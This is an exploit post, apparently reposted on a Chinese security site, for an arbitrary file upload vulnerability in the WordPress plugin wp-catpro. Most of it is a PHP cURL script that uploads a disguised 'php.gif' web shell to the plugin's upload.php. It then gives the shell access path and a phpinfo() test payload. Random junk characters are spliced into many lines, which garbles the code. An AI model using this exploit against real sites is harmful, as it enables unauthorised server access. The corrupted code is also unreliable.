WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
0 U- ?. a8 f+ L) \5 C- A' E: j% v1 O#-----------------------------------------------------------------------

作者  => Zikou-16
邮箱 => zikou16x@gmail.com
, n% |) g$ _0 L8 `' a" z( ^, M测试系统 : Windows 7 , Backtrack 5r3
( Z4 Y& S4 H& z8 _; Q下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

#=> Exploit 信息:
7 B+ a( y$ q8 V6 j6 P6 `* e------------------
; I7 j" f% q# C" a4 w* f# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
9 ]* B9 ~" g- ]# t% `4 F# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
) P6 O/ X5 J' A" m, d6 v4 d+ b------------------

( A& ^4 _$ j8 z2 n' C#=> Exploit
-----------
2 P3 Y" m1 J: y4 z0 j" _<?php
9 ~% E6 X" @: y3 a  G* b3 \: o5 z
- z. u  F3 G. A6 O3 B$uploadfile="zik.php.gif";
4 s7 k# Y" x$ u/ U9 q: e$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
9 G  Z2 z* U' j& wcurl_setopt($ch, CURLOPT_POSTFIELDS,
* s# D9 b8 Z9 ~0 @( D% Qarray('Filedata'=>"@$uploadfile",
( F1 v) a3 L0 p'folder'=>'/wp-content/uploads/catpro/'));
4 D+ c) z+ e; Q' ucurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
# _/ P' |0 Q; K  B; o6 Zcurl_close($ch);
  \; J1 A8 e# e) \
0 s. f( P. y" B* Q3 w. [7 hprint "$postResult";
! _* l  R" @$ J0 j+ ?; T* H* ~
) A/ S, ~  f# pShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
0 N  U9 a! y% L+ |) \: M  ?>
<?php
phpinfo();
?>